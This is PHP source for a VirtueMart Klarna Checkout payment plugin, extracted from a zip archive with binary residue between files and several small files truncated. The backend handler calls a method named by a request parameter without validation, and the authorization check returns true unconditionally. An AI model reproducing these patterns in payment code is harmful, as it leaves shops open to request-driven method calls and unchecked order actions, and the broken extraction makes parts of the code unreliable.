created in your system and send a // confirmation email to the customer $vmOrderNumber = $this->createVmOrder($klarna_order, $cartDataFromTable, (int)$cartId); // update Order status $update['status'] = 'created'; $update['merchant_reference'] = array( 'orderid1' => $vmOrderNumber ); $klarna_order->update($update); if (!class_exists('VirtueMartModelOrders')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php'); } $values['virtuemart_order_id'] = VirtueMartModelOrders::getOrderIdByOrderNumber($vmOrderNumber); $dbValues = array( 'virtuemart_order_id' => VirtueMartModelOrders::getOrderIdByOrderNumber($vmOrderNumber), 'order_number' => $vmOrderNumber, 'virtuemart_paymentmethod_id' => $this->method->virtuemart_paymentmethod_id, 'payment_name' => $this->renderPluginName($this->method, 'create_order'), 'action' => 'update', 'klarna_status' => $update['status'], 'data' => serialize($update) ); $this->debugLog($dbValues, 'plgVmOnPaymentNotification update', 'debug'); //$this->storePSPluginInternalData($dbValues ); $return = $this->storePluginInternalData($dbValues, 0, 0, false); $this->debugLog($return, 'plgVmOnPaymentNotification RETURN', 'debug'); } /** * Create the VM order with the saved cart, and the users infos from klarna * @param $klarna_order return data from Klarna * @param $cartData cart unserialized saved in the table * @param $method * @param $cartId pkey of the cart saved in the table * */ function createVmOrder ($klarna_order, $cartData, $cartId) { if (!class_exists('VirtueMartCart')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); } if (!class_exists('shopFunctionsF')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); } if (!class_exists('VirtueMartModelOrders')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php'); } $cartData->_confirmDone = true; $cartData->_dataValidated = true; if (!class_exists('VirtueMartCart')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); } $cart = VirtueMartCart::getCart(false, array(), serialize($cartData)); $this->updateBTSTAddressInCart($cart, $klarna_order); $orderId = $cart->confirmedOrder(); $this->debugLog($orderId, 'createVmOrder', 'debug'); if (!class_exists('VirtueMartModelOrders')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php'); } $modelOrder = VmModel::getModel('orders'); $order_number = VirtueMartModelOrders::getOrderNumber($orderId); $history = array(); $history['customer_notified'] = 1; $history['order_status'] = $this->method->status_checkout_complete; $history['comments'] = JText::sprintf('VMPAYMENT_KLARNACHECKOUT_PAYMENT_STATUS_CHECKOUT_COMPLETE', $order_number); $modelOrder->updateStatusForOneOrder($orderId, $history, TRUE); $this->debugLog('', 'AFTER updateStatusForOneOrder', 'debug'); $klarna_data = $this->getKlarnaData($klarna_order); //$this->debugLog('plgVmOnPaymentNotification KLARNA DATA ' . var_export($klarna_data, true), 'message'); $order_number = VirtueMartModelOrders::getOrderNumber($orderId); $dbValues = array( 'virtuemart_order_id' => $orderId, 'order_number' => $order_number, 'virtuemart_paymentmethod_id' => $this->method->virtuemart_paymentmethod_id, 'payment_name' => $this->renderPluginName($this->method, 'create_order'), 'action' => 'createOrder', 'klarna_status' => $klarna_order['status'], //'data' => ($klarna_data), 'data' => serialize($klarna_data), ); $this->debugLog($dbValues, 'storePSPluginInternalData createVmOrder', 'debug'); $this->storePSPluginInternalData($dbValues); $dbValues = array( 'virtuemart_order_id' => $orderId, 'order_number' => VirtueMartModelOrders::getOrderNumber($orderId), 'virtuemart_paymentmethod_id' => $this->method->virtuemart_paymentmethod_id, 'payment_name' => 'Klarna Checkout', 'action' => 'storeCart', 'klarna_status' => 'pre-purchase', ); $this->storeCartInTable($cartData, $cartId, $dbValues); return $order_number; } function updateBTSTAddressInCart ($cart, $klarna_order) { $result = $this->updateAddressInCart($cart, $klarna_order['billing_address'], 'BT'); $result = $this->updateAddressInCart($cart, $klarna_order['shipping_address'], 'ST'); } function updateAddressInCart ($cart, $klarna_address, $address_type) { if ($address_type == 'BT') { $prefix = ''; $vmAddress = $cart->BT; } else { $prefix = 'shipto_'; $vmAddress = $cart->ST; } // Update the Shipping Address to what is specified in the register. $update_data = array( $prefix . 'address_type_name' => 'klarnacheckout', $prefix . 'company' => $klarna_address['company_name'], $prefix . 'first_name' => $klarna_address['given_name'], $prefix . 'last_name' => $klarna_address['family_name'], $prefix . 'address_1' => $klarna_address['street_address'], $prefix . 'zip' => $klarna_address['postal_code'], $prefix . 'city' => $klarna_address['city'], $prefix . 'virtuemart_country_id' => shopFunctions::getCountryIDByName($klarna_address['country']), $prefix . 'state' => '', $prefix . 'phone_1' => $klarna_address['phone'], 'address_type' => $address_type ); if ($address_type == 'BT') { $update_data ['email'] = $klarna_address['email']; } if (!empty($st)) { $update_data = array_merge($vmAddress, $update_data); } $cart->saveAddressInCart($update_data, $update_data['address_type'], FALSE); } function getKlarnaData ($klarna_order) { $push_params = $this->getKlarnaDisplayParams(); foreach ($push_params as $key => $value) { $klarna_data[$key] = $klarna_order[$key]; } return $klarna_data; } function getKlarnaDisplayParams () { return array( 'id' => 'debug', 'purchase_country' => 'display', 'purchase_currency' => 'display', 'locale' => 'debug', 'status' => 'display', 'reference' => 'display', 'reservation' => 'display', 'started_at' => 'debug', 'completed_at' => 'debug', 'last_modified_at' => 'debug', 'expires_at' => 'debug', 'cart' => 'debug', 'customer' => 'debug', 'shipping_address' => 'debug', 'billing_address' => 'debug', 'options' => 'debug', 'merchant' => 'debug', ); } /** * @param $virtuemart_paymentmethod_id * @param $paymentCurrencyId * @return bool|null */ function plgVmgetEmailCurrency ($virtuemart_paymentmethod_id, $virtuemart_order_id, &$emailCurrencyId) { if (!($this->method = $this->getVmPluginMethod($virtuemart_paymentmethod_id))) { return NULL; // Another method was selected, do nothing } if (!$this->selectedThisElement($this->method->payment_element)) { return FALSE; } if (!($payments = $this->getDatasByOrderId($virtuemart_order_id))) { return ''; } if (empty($payments[0]->email_currency)) { $vendorId = 1; //VirtueMartModelVendor::getLoggedVendor(); $db = JFactory::getDBO(); $q = 'SELECT `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id`=' . $vendorId; $db->setQuery($q); $emailCurrencyId = $db->loadResult(); } else { $emailCurrencyId = $payments[0]->email_currency; } } /** * @param $virtuemart_paymentmethod_id * @param $paymentCurrencyId * @return bool|null */ function plgVmgetPaymentCurrency ($virtuemart_paymentmethod_id, &$paymentCurrencyId) { if (!($this->method = $this->getVmPluginMethod($virtuemart_paymentmethod_id))) { return NULL; // Another method was selected, do nothing } if (!$this->selectedThisElement($this->method->payment_element)) { return FALSE; } $this->getPaymentCurrency($this->method); $paymentCurrencyId = $this->method->payment_currency; } /** * Display stored payment data for an order * @param int $virtuemart_order_id * @param int $payment_method_id * @see components/com_virtuemart/helpers/vmPSPlugin::plgVmOnShowOrderBEPayment() */ function plgVmOnShowOrderBEPayment ($virtuemart_order_id, $payment_method_id) { if (!$this->selectedThisByMethodId($payment_method_id)) { return NULL; // Another method was selected, do nothing } if (!($this->method = $this->getVmPluginMethod($payment_method_id))) { return NULL; // Another method was selected, do nothing } if (!($payments = $this->getDatasByOrderId($virtuemart_order_id))) { // JError::raiseWarning(500, $db->getErrorMsg()); return ''; } $html = '' . "\n"; $html .= $this->getHtmlHeaderBE(); $first = TRUE; if ($this->method->debug) { $html .= ''; } foreach ($payments as $payment) { $display_action = 'onShowOrderBE_' . $payment->action; $row_html = $this->$display_action($payment); if ($row_html) { $html .= ''; $html .= $row_html; } } $html .= '
' . JText::_('VMPAYMENT_KLARNACHECKOUT_ORDER_BE_WARNING') . '
' . JText::_('VMPAYMENT_KLARNACHECKOUT_DATE') . '' . $payment->created_on . '
' . "\n"; return $html; } function onShowOrderBE_activate ($payment) { if (!class_exists('VirtueMartModelOrders')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php'); } $html = $this->getHtmlRowBE(JText::_('VMPAYMENT_KLARNACHECKOUT_STATUS'), $payment->klarna_status); $activate_data = unserialize($payment->data); $html .= $this->getHtmlRowBE(JText::_('VMPAYMENT_KLARNACHECKOUT_INVOICE_NUMBER'), $activate_data['InvoiceNumber']); if (!empty($activate_data['InvoicePdf'])) { // get order password $orderModel = VmModel::getModel(); $virtuemart_order_id = VirtueMartModelOrders::getOrderIdByOrderNumber($payment->order_number); $invoicePdfLink=$this->getInvoicePdfLink($virtuemart_order_id); $value = '' . JText::_('VMPAYMENT_KLARNACHECKOUT_VIEW_INVOICE') . ''; $html .= $this->getHtmlRowBE("", $value); } return $html; } function onShowOrderBE_update ($payment) { $html = $this->getHtmlRowBE(JText::_('VMPAYMENT_KLARNACHECKOUT_STATUS'), $payment->klarna_status); return $html; } function onShowOrderBE_cancelReservation ($payment) { return $this->getHtmlRowBE(JText::_('VMPAYMENT_KLARNACHECKOUT_STATUS'), $payment->klarna_status); } /** * @param $type * @param $name * @param $render */ function plgVmOnSelfCallBE ($type, $name, &$render) { if ($name != $this->_name || $type != 'vmpayment') { return FALSE; } // fetches PClasses From XML file $call = jrequest::getWord('call'); $this->$call(); // jexit(); } function onShowOrderBE_createOrder ($payment) { if ($this->method->debug) { $show_fields = array("display", "debug"); } else { $show_fields = array("display"); } if (empty($payment->data)) { $html = "\n" . JText::_('id') . "\n " . 'ERROR NO DATA' . "\n\n"; } else { $klarna_order = unserialize($payment->data); //$klarna_order = ($payment->data); $push_params = $this->getKlarnaDisplayParams(); $html = ''; $lang = JFactory::getLanguage(); foreach ($push_params as $key => $value) { if (in_array($value, $show_fields)) { $display_value = isset($klarna_order[$key]) ? $klarna_order[$key] : "???"; $text_key = strtoupper('VMPAYMENT_KLARNACHECKOUT_' . $key); if ($lang->hasKey($text_key)) { $text = JText::_('VMPAYMENT_KLARNACHECKOUT_' . $key); } else { $text = $key; } if (!is_array($display_value)) { $html .= "\n" . $text . "\n " . $display_value . "\n\n"; } else { $html .= "\n" . $text . "\n \n\n"; foreach ($klarna_order[$key] as $order_key => $order_value) { $text_key = strtoupper('VMPAYMENT_KLARNACHECKOUT_' . $order_key); if ($lang->hasKey($text_key)) { $text = JText::_('VMPAYMENT_KLARNACHECKOUT_' . $order_key); } else { $text = $order_key; } if (!is_array($order_value)) { $display_order_value = isset($klarna_order[$key][$order_key]) ? $klarna_order[$key][$order_key] : "????"; $html .= "\n" . $text . "\n " . $display_order_value . "\n\n"; } else { $html .= "\n" . $text . "\n
" . var_export($klarna_order[$key][$order_key], true) . "
\n\n"; } } } } } } return $html; } /** * Can be usefull for debugging * @param $payment * @return string */ function onShowOrderBE_storeCart ($payment) { $html = ''; if ($this->method->debug) { if (!class_exists('VirtueMartCart')) { require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); } $cart = VirtueMartCart::getCart(false, array(), $payment->data); $html = "\n" . JText::_('storeCart') . "\n
" . var_export($cart->products, true) . "
\n\n"; } return $html; } /** * Check if the payment conditions are fulfilled for this payment method * * @author: Valerie Isaksen * * @param $cart_prices: cart prices * @param $payment * @return true: if the conditions are fulfilled, false otherwise * */ protected function checkConditions ($cart, $method, $cart_prices) { $this->convert($method); $address = $cart->BT; $amount = $cart_prices['salesPrice']; $amount_cond = ($amount >= $method->min_amount AND $amount <= $method->max_amount OR ($method->min_amount <= $amount AND ($method->max_amount == 0))); $countries = array(); if (!empty($method->purchase_country)) { if (!is_array($method->purchase_country)) { $countries[0] = $method->purchase_country; } else { $countries = $method->purchase_country; } } // probably did not gave his BT:ST address if (!is_array($address)) { $address = array(); $address['virtuemart_country_id'] = 0; } if (!isset($address['virtuemart_country_id'])) { $address['virtuemart_country_id'] = 0; } if ((!empty($address) or $address['virtuemart_country_id'] != 0) and in_array($address['virtuemart_country_id'], $countries) || count($countries) == 0) { if ($amount_cond) { return TRUE; } } elseif (empty($address) or $address['virtuemart_country_id'] == 0) { if ($amount_cond) { return TRUE; } } return FALSE; } /** * @param $method */ function convert ($method) { $method->min_amount = (float)$method->min_amount; $method->max_amount = (float)$method->max_amount; } /** * We must reimplement this triggers for joomla 1.7 */ /** * Create the table for this plugin if it does not yet exist. * This functions checks if the called plugin is active one. * When yes it is calling the standard method to create the tables * * @author Valérie Isaksen * */ function plgVmOnStoreInstallPaymentPluginTable ($jplugin_id) { return $this->onStoreInstallPluginTable($jplugin_id); } /** * This event is fired after the payment method has been selected. It can be used to store * additional payment info in the cart. * * @author Valérie isaksen * * @param VirtueMartCart $cart: the actual cart * @return null if the payment was not selected, true if the data is valid, error message if the data is not vlaid * */ public function plgVmOnSelectCheckPayment (VirtueMartCart $cart, &$msg) { if (!$this->selectedThisByMethodId($cart->virtuemart_paymentmethod_id)) { return NULL; // Another method was selected, do nothing } return true; } /* * plgVmonSelectedCalculatePricePayment * Calculate the price (value, tax_id) of the selected method * It is called by the calculator * This function does NOT to be reimplemented. If not reimplemented, then the default values from this function are taken. * @author Valerie Isaksen * @cart: VirtueMartCart the current cart * @cart_prices: array the new cart prices * @return null if the method was not selected, false if the payment is not valid any more, true otherwise * * */ /** * @param VirtueMartCart $cart * @param array $cart_prices * @param $cart_prices_name * @return bool|null */ public function plgVmOnSelectedCalculatePricePayment (VirtueMartCart $cart, array &$cart_prices, &$cart_prices_name) { return $this->onSelectedCalculatePrice($cart, $cart_prices, $cart_prices_name); } /** * plgVmOnCheckAutomaticSelectedPayment * Checks how many plugins are available. If only one, the user will not have the choice. Enter edit_xxx page * The plugin must check first if it is the correct type * * @author Valerie Isaksen * @param VirtueMartCart cart: the cart object * @return null if no plugin was found, 0 if more then one plugin was found, virtuemart_xxx_id if only one plugin is found * */ function plgVmOnCheckAutomaticSelectedPayment (VirtueMartCart $cart, array $cart_prices = array(), &$paymentCounter) { return $this->onCheckAutomaticSelected($cart, $cart_prices, $paymentCounter); } /** * This method is fired when showing the order details in the frontend. * It displays the method-specific data. * * @param integer $order_id The order ID * @return mixed Null for methods that aren't active, text (HTML) otherwise * @author Valerie Isaksen */ public function plgVmOnShowOrderFEPayment ($virtuemart_order_id, $virtuemart_paymentmethod_id, &$payment_name) { $this->onShowOrderFE($virtuemart_order_id, $virtuemart_paymentmethod_id, $payment_name); } /** * This method is fired when showing when priting an Order * It displays the the payment method-specific data. * * @param integer $_virtuemart_order_id The order ID * @param integer $method_id method used for this order * @return mixed Null when for payment methods that were not selected, text (HTML) otherwise * @author Valerie Isaksen */ function plgVmonShowOrderPrintPayment ($order_number, $method_id) { return $this->onShowOrderPrint($order_number, $method_id); } /** * Triggered by updateStatusForOneOrder * When status= pre delivery, possible action CancelReservation or ChangeReservation * When status= delivery, possible action ActivateReservation * When status= post delivery, possible action CreditInvoice, Return Amount, CreditPart * * @param array $order order data * @return mixed, True on success, false on failures (the rest of the save-process will be * skipped!), or null when this method is not actived. */ public function plgVmOnUpdateOrderPayment (&$order, $old_order_status) { // get latest info from DB if (!$this->selectedThisByMethodId($order->virtuemart_paymentmethod_id)) { return NULL; // Another method was selected, do nothing } if (!($this->method = $this->getVmPluginMethod($order->virtuemart_paymentmethod_id))) { return NULL; // Another method was selected, do nothing } if (!($payments = $this->getDatasByOrderId($order->virtuemart_order_id))) { vmError(JText::sprintf('VMPAYMENT_KLARNA_ERROR_NO_DATA', $order->virtuemart_order_id), JText::sprintf('VMPAYMENT_KLARNACHECKOUT_ERROR_OCCURRED', $this->method->payment_name)); $this->debugLog('No klarna data for this order:' . $order->virtuemart_order_id, 'plgVmOnUpdateOrderPayment', 'error'); $this->debugLog($payments, 'plgVmOnUpdateOrderPayment', 'debug'); return NULL; } //plgVmPaymentKlarnaCheckout::includeKlarnaFiles(); $new_order_status = $order->order_status; $lastPayment = $payments[(count($payments)) - 1]; $klarna_status = $lastPayment->klarna_status; $actions = array('activate', 'cancelReservation', 'changeReservation', 'creditInvoice'); foreach ($actions as $action) { $status = 'status_' . $action; //vmError($action.' '.$this->method->$status.' '.$new_order_status); if ($this->method->$status == $new_order_status and $this->authorizedAction($klarna_status, $new_order_status, $old_order_status, $action, $this->method)) { $this->$action($order, $payments); return true; } } // may be it is another new order status unknown? // TO DO ... how can we disply that when not in push vmError(JText::sprintf('VMPAYMENT_KLARNACHECKOUT_ACTION_NOT_AUTHORIZED', $new_order_status, $lastPayment->klarna_status), JText::sprintf('VMPAYMENT_KLARNACHECKOUT_ERROR_OCCURRED', $this->method->payment_name)); $this->debugLog(JText::sprintf('VMPAYMENT_KLARNACHECKOUT_ACTION_NOT_AUTHORIZED', $action, $lastPayment->klarna_status), 'plgVmOnUpdateOrderPayment', 'error'); // true means plugin call was successfull return true; } function authorizedAction ($klarna_status, $new_order_status, $old_order_status, $action) { return true; if ($old_order_status == $this->method->status_checkout_complete) { $authorize = array( 'cancelReservation' => $this->method->status_cancelReservation, 'changeReservation' => $this->method->status_changeReservation, 'activate' => $this->method->status_activate, ); if (in_array($new_order_status, $authorize)) { return TRUE; } } elseif ($old_order_status == $this->method->status_activate) { $authorize = array( 'creditInvoice' => $this->method->status_creditInvoice, 'returnAmount' => $this->method->status_returnAmount, 'creditPart' => $this->method->status_creditPart, ); if (in_array($new_order_status, $authorize)) { return TRUE; } } return FALSE; } /** * The following variables are no longer order specific and should be fixed: * pclass, -1 for all Klarna Checkout orders * pno, null for all Klarna Checkout orders * @param $order * @param $method * @param $payments * @return bool */ function activate ($order, $payments) { $rno = $this->getReservationNumber($payments); if (!$rno) { return; // error already sent } // TO DO ASK KLARNA ABOUT KLARNA MODE //$mode = KlarnaHandler::getKlarnaMode($method, $this->getPurchaseCountry($method)); //$ssl = KlarnaHandler::getKlarnaSSL($mode); // Instantiate klarna object. $this->initKlarnaParams($this->method); $klarna = new Klarna_virtuemart(); $klarna->config($this->merchantid, $this->sharedsecret, $this->country_code_3, NULL, $this->currency_code_3, $this->mode, VMKLARNA_PC_TYPE, KlarnaHandler::getKlarna_pc_type(), $this->ssl); $modelOrder = VmModel::getModel('orders'); try { $return = $klarna->activate($rno); if ($return[0] == 'ok') { VmInfo(JText::sprintf('VMPAYMENT_KLARNACHECKOUT_ACTIVATE_RESERVATION', $rno)); $vm_invoice_name = ''; $invoice_number = $return[1]; $invoiceURL=$this->getInvoice($invoice_number, $vm_invoice_name); $history = array(); $history['customer_notified'] = 0; $history['order_status'] = $this->method->status_activate; $history['comments'] = JText::sprintf('VMPAYMENT_KLARNACHECKOUT_PAYMENT_STATUS_ACTIVATE', $rno); // $order['details']['BT']->order_number); $modelOrder->updateStatusForOneOrder($order->virtuemart_paymentmethod_id, $history, TRUE); $dbValues['order_number'] = $payments[0]->order_number; $dbValues['payment_name'] = ''; $dbValues['virtuemart_paymentmethod_id'] = $payments[0]->virtuemart_paymentmethod_id; $dbValues['action'] = 'activate'; $dbValues['klarna_status'] = 'activate'; $data["InvoiceNumber"] = $invoice_number; $data["InvoicePdf"] = $invoiceURL; $dbValues['data'] = serialize($data); $this->debugLog($dbValues, 'storePSPluginInternalData activate', 'debug'); $values = $this->storePSPluginInternalData($dbValues, $this->_tablepkey); } else { VmError('activate returned KO', JText::sprintf('VMPAYMENT_KLARNACHECKOUT_ERROR_OCCURRED', $this->method->payment_name)); } } catch (Exception $e) { VmError($e->getMessage(), JText::sprintf('VMPAYMENT_KLARNACHECKOUT_ERROR_OCCURRED', $this->method->payment_name)); $this->debugLog($e->getMessage(), 'activate', 'error'); return FALSE; } return true; } /** * */ function cancelReservation ($order, $payments) { $rno = $this->getReservationNumber($payments); if (!$rno) { return; // error already sent } $this->initKlarnaParams($this->method); $klarna = new Klarna_virtuemart(); $klarna->config($this->merchantid, $this->sharedsecret, $this->country_code_3, NULL, $this->currency_code_3, $this->mode, VMKLARNA_PC_TYPE, KlarnaHandler::getKlarna_pc_type(), $this->ssl); $modelOrder = VmModel::getModel('orders'); try { $result = $klarna->cancelReservation($rno); $info = JText::sprintf('VMPAYMENT_KLARNACHECKOUT_RESERVATION_CANCELED', $rno); VmInfo($info); $history = array(); $history['customer_notified'] = 1; //$history['order_status'] = $this->method->checkout_complete; $history['comments'] = $info; // $order['details']['BT']->order_number); $modelOrder->updateStatusForOneOrder($order->virtuemart_paymentmethod_id, $history, TRUE); $dbValues['order_number'] = $payments[0]->order_number; $dbValues['payment_name'] = ''; $dbValues['virtuemart_paymentmethod_id'] = $payments[0]->virtuemart_paymentmethod_id; $dbValues['action'] = 'cancelReservation'; $dbValues['klarna_status'] = 'cancelReservation'; $dbValues['data'] = $info; $this->debugLog($dbValues, 'storePSPluginInternalData cancelReservation', 'debug'); $values = $this->storePSPluginInternalData($dbValues, $this->_tablepkey); } catch (Exception $e) { $error = $e->getMessage(); VmError($e->getMessage(), JText::sprintf('VMPAYMENT_KLARNACHECKOUT_ERROR_OCCURRED', $this->method->payment_name)); $this->debugLog($e->getMessage(), 'cancelReservation', 'error'); return FALSE; } //$dbValues['data'] = $vm_invoice_name; return true; } function changeReservation () { } function creditInvoice () { } function creditPart () { } function getReservationNumber ($payments) { foreach ($payments as $payment) { if ($payment->klarna_status == "checkout_complete") { $klarna_order = unserialize($payment->data); //$klarna_order = ($payment->data); return $klarna_order['reservation']; } } vmError('VMPAYMENT_KLARNACHECKOUT_ERROR_NO_RNO', 'VMPAYMENT_KLARNACHECKOUT_ERROR_NO_RNO'); return null; } /** * @param $orderDetails */ function plgVmOnUserOrder (&$orderDetails) { if (!($this->method = $this->getVmPluginMethod($orderDetails->virtuemart_paymentmethod_id))) { return NULL; // Another method was selected, do nothing } if (!$this->selectedThisElement($this->method->payment_element)) { return NULL; } if (!($payments = $this->getDatasByOrderId($orderDetails->virtuemart_order_id))) { return NULL; } $orderDetails->order_number = $this->getReservationNumber($payments); return; } /** * @param $orderDetails * @param $data * @return null */ function plgVmOnUserInvoice ($orderDetails, &$data) { if (!($this->method = $this->getVmPluginMethod($orderDetails['virtuemart_paymentmethod_id']))) { return NULL; // Another method was selected, do nothing } if (!$this->selectedThisElement($this->method->payment_element)) { return NULL; } $data['invoice_number'] = 'reservedByPayment_' . $orderDetails['order_number']; // Never send the invoice via email } /** * Save updated orderline data to the method specific table * * @param array $_formData Form data * @return mixed, True on success, false on failures (the rest of the save-process will be * skipped!), or null when this method is not actived. */ public function plgVmOnUpdateOrderLine ($_formData) { return null; } /** * plgVmOnEditOrderLineBE * This method is fired when editing the order line details in the backend. * It can be used to add line specific package codes * * @param integer $_orderId The order ID * @param integer $_lineId * @return mixed Null for method that aren't active, text (HTML) otherwise public function plgVmOnEditOrderLineBE( $_orderId, $_lineId) { return null; } */ /** * This method is fired when showing the order details in the frontend, for every orderline. * It can be used to display line specific package codes, e.g. with a link to external tracking and * tracing systems * * @param integer $_orderId The order ID * @param integer $_lineId * @return mixed Null for method that aren't active, text (HTML) otherwise public function plgVmOnShowOrderLineFE( $_orderId, $_lineId) { return null; } */ function plgVmDeclarePluginParamsPayment ($name, $id, &$data) { return $this->declarePluginParams('payment', $name, $id, $data); } /** * @param $name * @param $id * @param $table * @return bool */ function plgVmSetOnTablePluginParamsPayment ($name, $id, &$table) { return $this->setOnTablePluginParams($name, $id, $table); } static function getSuccessUrl ($order) { return JURI::root()."index.php?option=com_virtuemart&view=pluginresponse&task=pluginresponsereceived&pm=" . $order['details']['BT']->virtuemart_paymentmethod_id . '&on=' . $order['details']['BT']->order_number . "&Itemid=" . JRequest::getInt('Itemid').'&lang='.JRequest::getCmd('lang',''); } static function getCancelUrl ($order) { return JURI::root()."index.php?option=com_virtuemart&view=pluginresponse&task=pluginUserPaymentCancel&pm=" . $order['details']['BT']->virtuemart_paymentmethod_id . '&on=' . $order['details']['BT']->order_number . '&Itemid=' . JRequest::getInt('Itemid'). '&lang='.JRequest::getCmd('lang',''); } static function getNotificationUrl ($order_number) { return JURI::root()."index.php?option=com_virtuemart&view=pluginresponse&task=pluginnotification&on=" . $order_number. '&lang='.JRequest::getCmd('lang','') ; } /** * @return mixed */ function _getVendorCurrencyId () { if (!class_exists('VirtueMartModelVendor')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php'); } $vendor_id = 1; $vendor_currency = VirtueMartModelVendor::getVendorCurrency($vendor_id); return $vendor_currency->virtuemart_currency_id; } /** * */ static function includeKlarnaFiles () { require(JPATH_ROOT . DS . 'plugins' . DS . 'vmpayment' . DS . 'klarna' . DS . 'klarna' . DS . 'helpers' . DS . 'define.php'); if (!class_exists('KlarnaHandler')) { require(JPATH_VMKLARNAPLUGIN . DS . 'klarna' . DS . 'helpers' . DS . 'klarnahandler.php'); } if (!class_exists ('klarna_virtuemart')) { require (JPATH_VMKLARNAPLUGIN . DS . 'klarna' . DS . 'helpers' . DS . 'klarna_virtuemart.php'); } require_once(JPATH_VMKLARNAPLUGIN . DS . 'klarna' . DS . 'api' . DS . 'transport' . DS . 'xmlrpc-3.0.0.beta' . DS . 'lib' . DS . 'xmlrpc.inc'); require_once(JPATH_VMKLARNAPLUGIN . DS . 'klarna' . DS . 'api' . DS . 'transport' . DS . 'xmlrpc-3.0.0.beta' . DS . 'lib' . DS . 'xmlrpc_wrappers.inc'); } /** * @param $klarna_invoice_pdf * @param $vm_invoice_name * @return bool */ function getInvoice ($invoice_number, &$vm_invoice_name) { //$klarna_invoice = explode ('/', $klarna_invoice_pdf); if ($this->method->server =='live') { $klarna_invoice_name = "https://online.klarna.com/packslips/" . $invoice_number . '.pdf'; } else { $klarna_invoice_name = "https://online.testdrive.klarna.com/packslips/" . $invoice_number . '.pdf'; } $vm_invoice_name = 'klarna_' . $invoice_number . '.pdf'; return $klarna_invoice_name; } /** * @return int|null|string */ function getInvoicePdfLink ($virtuemart_order_id) { if (!class_exists('VirtueMartModelOrders')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'orders.php'); } if (!class_exists('JFile')) { require(JPATH_SITE . DS . 'libraries' . DS . 'joomla' . DS . 'filesystem' . DS . 'file.php'); } if (!($payments = $this->getDatasByOrderId($virtuemart_order_id))) { return ''; } foreach ($payments as $payment) { if ($payment->klarna_status == 'activate') { $data = unserialize($payment->data); $path = VmConfig::get('forSale_path', 0); $path .= 'invoices' . DS; $fileName = $data["InvoicePdf"]; break; } } return $fileName; } } // No closing tag PK]y>\6@vmpayment/klarnacheckout/klarnacheckout/elements/paymentlogo.phpnuW+A '; return $logo ; } } }PK]y>\㿡VV>vmpayment/klarnacheckout/klarnacheckout/elements/vmcountry.phpnuW+AsetQuery($query); $fields = $db->loadObjectList(); $class = ''; //$class = 'multiple="true" size="10" '; return JHTML::_('select.genericlist', $fields, $control_name . '[' . $name . ']', $class, 'value', 'text', $value, $control_name . $name); } }PK]y>\):vmpayment/klarnacheckout/klarnacheckout/elements/.htaccessnuW+A Order allow,deny Deny from all PK]y>\v Fvmpayment/klarnacheckout/klarnacheckout/elements/getklarnacheckout.phpnuW+AgetTag (); $langArray = explode ("-", $lang); $lang = strtolower ($langArray[1]); $countriesData = KlarnaHandler::countriesData (); $signLang = "en"; foreach ($countriesData as $countryData) { if ($countryData['country_code'] == $lang) { $signLang = $lang; break; } } /* $logo = ' '; */ $logo = ''; $html = '' . $logo . ''; // https://merchants.klarna.com/signup?locale=en&partner_id=7829355537eae268a17667c199e7c7662d3391f7&utm_campaign=Platform&utm_medium=Partners&utm_source=Virtuemart $html .= '
'; $url = "https://merchants.klarna.com/signup/?locale=" . $signLang . "&partner_id=7829355537eae268a17667c199e7c7662d3391f7&utm_campaign=Platform&utm_medium=Partners&utm_source=Virtuemart"; $js = ' jQuery(document).ready(function( $ ) { $("#klarna_getklarna_show_hide").hide(); jQuery("#klarna_getklarna_link").click( function() { if ( $("#klarna_getklarna_show_hide").is(":visible") ) { $("#klarna_getklarna_show_hide").hide("slow"); $("#klarna_getklarna_link").html("' . addslashes ($logo) . '"); } else { $("#klarna_getklarna_show_hide").show("slow"); $("#klarna_getklarna_link").html("' . addslashes (JText::_ ('VMPAYMENT_KLARNA_GET_KLARNA_HIDE')) . '"); } }); }); '; $doc = JFactory::getDocument (); $doc->addScriptDeclaration ($js); $html .= ''; $html .= '
'; return $html; } }PK]y>\ k=vmpayment/klarnacheckout/klarnacheckout/elements/customjs.phpnuW+AaddScript(JURI::root(true).'/plugins/vmpayment/klarnacheckout/klarnacheckout/assets/js/admin.js'); $doc->addStyleSheet(JURI::root(true).'/plugins/vmpayment/klarnacheckout/klarnacheckout/assets/css/klarnacheckout.css'); return ''; } }PK]y>\OFF@vmpayment/klarnacheckout/klarnacheckout/elements/getlanguage.phpnuW+A\V;vmpayment/klarnacheckout/klarnacheckout/elements/index.htmlnuW+A PK]y>\)1vmpayment/klarnacheckout/klarnacheckout/.htaccessnuW+A Order allow,deny Deny from all PK]y>\:vmpayment/klarnacheckout/klarnacheckout/library/index.htmlnuW+APK]y>\)9vmpayment/klarnacheckout/klarnacheckout/library/.htaccessnuW+A Order allow,deny Deny from all PK]y>\pp<vmpayment/klarnacheckout/klarnacheckout/library/Checkout.phpnuW+A * @copyright 2012 Klarna AB * @license http://www.apache.org/licenses/LICENSE-2.0 Apache license v2.0 * @link http://integration.klarna.com/ */ defined('_JEXEC') or die('Restricted access'); define('KLARNA_CHECKOUT_DIR', dirname(__file__) . '/Checkout'); require_once KLARNA_CHECKOUT_DIR . '/ConnectorInterface.php'; require_once KLARNA_CHECKOUT_DIR . '/ResourceInterface.php'; require_once KLARNA_CHECKOUT_DIR . '/Connector.php'; require_once KLARNA_CHECKOUT_DIR . '/BasicConnector.php'; require_once KLARNA_CHECKOUT_DIR . '/Order.php'; require_once KLARNA_CHECKOUT_DIR . '/Digest.php'; require_once KLARNA_CHECKOUT_DIR . '/Exception.php'; require_once KLARNA_CHECKOUT_DIR . '/ConnectionErrorException.php'; require_once KLARNA_CHECKOUT_DIR . '/ConnectorException.php'; require_once KLARNA_CHECKOUT_DIR . '/UserAgent.php'; require_once KLARNA_CHECKOUT_DIR . '/HTTP/TransportInterface.php'; require_once KLARNA_CHECKOUT_DIR . 